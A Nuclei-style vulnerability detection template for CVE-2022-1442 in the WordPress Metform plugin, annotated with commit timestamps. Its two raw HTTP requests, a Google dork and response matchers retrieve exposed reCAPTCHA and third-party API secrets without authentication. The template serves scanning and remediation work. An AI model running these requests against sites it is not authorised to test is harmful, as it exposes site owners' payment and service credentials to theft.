2022-11-13 10:49:10 +00:00
id : CVE-2022-1442
info :
2023-04-06 22:32:13 +00:00
name : WordPress Metform <=2.1.3 - Information Disclosure
2022-11-13 10:49:10 +00:00
author : theamanrawat
severity : high
description : |
2023-04-06 22:32:13 +00:00
WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to the latest version of the Metform plugin (>=2.1.4) to fix the information disclosure vulnerability.
2022-11-13 10:49:10 +00:00
reference :
- https://gist.github.com/Xib3rR4dAr/6e6c6e5fa1f8818058c7f03de1eda6bf
2022-11-14 08:27:59 +00:00
- https://wpscan.com/vulnerability/9f3fcdd4-9ddc-45d5-a4af-e58634813c2b
2022-11-13 10:49:10 +00:00
- https://wordpress.org/plugins/metform/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1442
2023-07-11 19:49:27 +00:00
- https://plugins.trac.wordpress.org/changeset/2711944/metform/trunk/core/forms/action.php
2022-11-14 08:27:59 +00:00
classification :
2022-11-14 16:55:36 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2022-11-14 08:27:59 +00:00
cve-id : CVE-2022-1442
2022-11-14 16:55:36 +00:00
cwe-id : CWE-862
2023-11-10 17:07:52 +00:00
epss-score : 0.03761
2023-11-14 14:37:18 +00:00
epss-percentile : 0.90813
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:wpmet:metform_elementor_contact_form_builder:*:*:*:*:*:wordpress:*:*
2022-11-14 08:27:59 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : wpmet
product : metform_elementor_contact_form_builder
2023-09-06 11:59:08 +00:00
framework : wordpress
google-query : inurl:/wp-content/plugins/metform
2022-11-14 16:55:36 +00:00
tags : wpscan,cve2022,wordpress,wp-plugin,disclosure,unauth,metform,cve,wp
2022-11-13 10:49:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-13 10:49:10 +00:00
- raw :
- |
GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1
Host : {{Hostname}}
- |
GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1
Host : {{Hostname}}
req-condition : true
2023-07-11 19:49:27 +00:00
2022-11-13 10:49:10 +00:00
matchers-condition : and
matchers :
- type : word
2022-11-14 08:27:59 +00:00
part : body_2
2022-11-13 10:49:10 +00:00
words :
- "mf_recaptcha_secret_key"
- "admin_email_from"
condition : and
- type : word
2022-11-14 08:27:59 +00:00
part : header_2
2022-11-13 10:49:10 +00:00
words :
- "application/json"
2022-11-14 08:27:59 +00:00
- type : status
status :
- 200
2022-11-13 10:49:10 +00:00
extractors :
- type : regex
name : id
group : 1
regex :
- '<option value=\"([0-9]+)\"'
2022-11-14 08:27:59 +00:00
internal : true
2023-11-14 16:39:03 +00:00
# digest: 4a0a004730450221008d705110621f523a793442b71a27ede34ade0e35c361e569001f5156a3512a4002200fbd2692cd6253e962454b65f2e1d58559976313f0a5bcc891cb38638b9d6efb:922c64590222798bb761d5b6d8e72950